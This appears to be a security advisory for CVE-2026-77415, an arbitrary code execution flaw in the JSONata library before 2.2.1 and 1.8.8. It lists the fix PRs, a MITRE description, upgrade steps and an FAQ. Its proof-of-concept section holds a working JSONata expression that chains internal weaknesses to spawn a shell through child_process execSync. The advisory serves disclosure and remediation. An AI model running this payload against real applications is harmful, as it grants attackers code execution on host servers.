CVE-2026-77415: JSONata: Arbitrary Code Execution via crafted JSONata expressions
Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to: - overwriting $clone allowing mutation of objects via transforms (see evaluateTransformExpression) - it being possible to destruct jsonata functions/lambdas (e.g. $merge.) - applyProcedure using proc.arguments.forEach and not Array.prototype.forEach
Which could be chained to execute arbitrary code.
This was fixed with:
- https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673) - https://github.com/jsonata-js/jsonata/pull/800 - https://github.com/jsonata-js/jsonata/pull/802
Which are included in the 2.2.1 release. Fixes were then back-ported to the 1.8.8 release.
PoC
js import jsonata from "jsonata";
const expression = jsonata( ( $obj := {}; $clone := function($o) { $o }; $m := ($merge.)[1];
$fn := function($a) { ( $a({"value":"lg"},"lookupGetter"); $a({"value":"x"},"x"); ) };
$nop := function() { $ };
$capture := function($val) { $obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} | };
$ ~> | $ | $m([$nop,{"jsonatalambda":false}])|; $ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|; $ ~> | $ | {"body":$m([$capture,{"jsonatalambda":false}]).body}|; $func := $m([$,{"jsonatalambda":true}]); $func();
$gP := $obj.lg("proto");
$afn:=$spread($fn); $afn{"x":$gP().constructor("return process.getBuiltinModule('childprocess').execSync('sh',{stdio:'inherit'})")()}; ) );
await expression.evaluate({});
References
- https://github.com/jsonata-js/jsonata/pull/799 - https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673 - https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de
- https://github.com/jsonata-js/jsonata/pull/800 - https://github.com/jsonata-js/jsonata/commit/d49dcdd01a4617e5601edda3ce9a971a791126dc
- https://github.com/jsonata-js/jsonata/pull/802 - https://github.com/jsonata-js/jsonata/commit/e362dfd686c1dadd1dd9324373819be446fd4f04
Other sources
JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, crafted JSONata expressions could chain several object-integrity weaknesses to execute arbitrary code. The chain could overwrite $clone to mutate objects through evaluateTransformExpression, expose and deconstruct JSONata functions or lambdas through $merge., replace proc.arguments.forEach used by applyProcedure, and forge internal lambda state. These primitives allowed an attacker to reach prototype getters, prototype and constructor access, and process.getBuiltinModule with childprocess, executing code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/jsonatato a version that resolves this vulnerability.Fixed in 1.8.8 - Upgrade
Upgrade
npm/jsonatato a version that resolves this vulnerability.Fixed in 2.2.1 - Upgrade
Upgrade
jsonatato a version that resolves this vulnerability.Fixed in 1.8.8 - Upgrade
Upgrade
jsonatato a version that resolves this vulnerability.Fixed in 2.2.1 - Compensating control
If you cannot upgrade immediately, restrict/limit who can submit or execute crafted JSONata expressions (e.g., do not allow untrusted users to supply JSONata expressions that can reach internal constructs like `proc.arguments.forEach`/`$merge.*`).
Event History
Frequently Asked Questions
Which deployments are affected?
Deployments using JSONata versions before 2.2.1 or before 1.8.8 are affected. The fixes were released in 2.2.1 and back-ported to 1.8.8.
What does an attacker need to exploit this issue?
An attacker needs a way to supply or influence a crafted JSONata expression that the application evaluates. The crafted expression chains object mutation, JSONata function or lambda destructuring, and procedure application behavior to execute arbitrary code.
Is a default configuration known to be affected?
The provided information does not identify a configuration-specific prerequisite. Exposure depends on whether the application evaluates attacker-controlled or attacker-influenced JSONata expressions.
What should be done if an immediate upgrade is not possible?
Do not evaluate JSONata expressions from untrusted sources, and restrict any path that allows users to provide or modify expressions. Upgrade to JSONata 2.2.1 or 1.8.8 when possible.